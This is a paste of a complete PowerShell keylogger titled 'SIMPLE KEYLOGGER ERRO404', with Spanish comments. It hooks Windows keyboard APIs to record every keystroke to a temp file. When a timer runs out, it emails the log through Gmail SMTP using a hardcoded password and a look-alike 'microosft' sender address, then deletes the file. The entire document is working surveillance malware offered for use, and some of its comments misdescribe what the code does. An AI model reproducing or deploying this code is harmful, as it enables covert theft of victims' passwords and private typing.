· 6 years ago · Feb 05, 2020, 03:54 PM
1=============================================================================
2----------------------------------------------------------------------------
3 SIMPLE KEYLOGGER ERRO404
4-----------------------------------------------------------------------------
5=============================================================================
6
7
8# Editar solo esta secci�n!
9$TimeToRun = 720
10$From = "microosft@gmail.com"
11$Pass = "qwertyuiop123456789A"
12$To = ""
13$Subject = "Keylogger Results"
14$body = "Keylogger Results"
15$SMTPServer = "smtp.gmail.com"
16$SMTPPort = "587"
17$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-
18
19SecureString -AsPlainText -Force)
20############################
21
22
23$TimeStart = Get-Date
24$TimeEnd = $timeStart.addminutes($TimeToRun)
25
26#requires -Version 2
27function Start-KeyLogger($Path="$env:temp\keylogger.txt")
28{
29 # Signatures for API Calls
30 $signatures = @'
31[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
32public static extern short GetAsyncKeyState(int virtualKeyCode);
33[DllImport("user32.dll", CharSet=CharSet.Auto)]
34public static extern int GetKeyboardState(byte[] keystate);
35[DllImport("user32.dll", CharSet=CharSet.Auto)]
36public static extern int MapVirtualKey(uint uCode, int uMapType);
37[DllImport("user32.dll", CharSet=CharSet.Auto)]
38public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate,
39
40System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
41'@
42
43 # load signatures and make members available
44 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
45
46 # create output file
47 $null = New-Item -Path $Path -ItemType File -Force
48
49 try
50 {
51
52 # create endless loop. When user presses CTRL+C, finally-block
53 # executes and shows the collected key presses
54 while ($TimeEnd -ge $TimeNow) {
55 Start-Sleep -Milliseconds 40
56
57 # scan all ASCII codes above 8
58 for ($ascii = 9; $ascii -le 254; $ascii++) {
59 # get current key state
60 $state = $API::GetAsyncKeyState($ascii)
61
62 # is key pressed?
63 if ($state -eq -32767) {
64 $null = [console]::CapsLock
65
66 # translate scan code to real code
67 $virtualKey = $API::MapVirtualKey($ascii, 3)
68
69 # get keyboard state for virtual keys
70 $kbstate = New-Object Byte[] 256
71 $checkkbstate = $API::GetKeyboardState($kbstate)
72
73 # prepare a StringBuilder to receive input key
74 $mychar = New-Object -TypeName System.Text.StringBuilder
75
76 # translate virtual key
77 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
78
79 if ($success)
80 {
81 # add key to logger file
82 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
83 }
84 }
85 }
86 $TimeNow = Get-Date
87 }
88 }
89 finally
90 {
91 # open logger file in Notepad
92 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -
93
94smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
95 Remove-Item -Path $Path -force
96 exit 1
97 }
98}
99
100# records all key presses until script is aborted by pressing CTRL+C
101# will then open the file with collected key codes
102Start-KeyLogger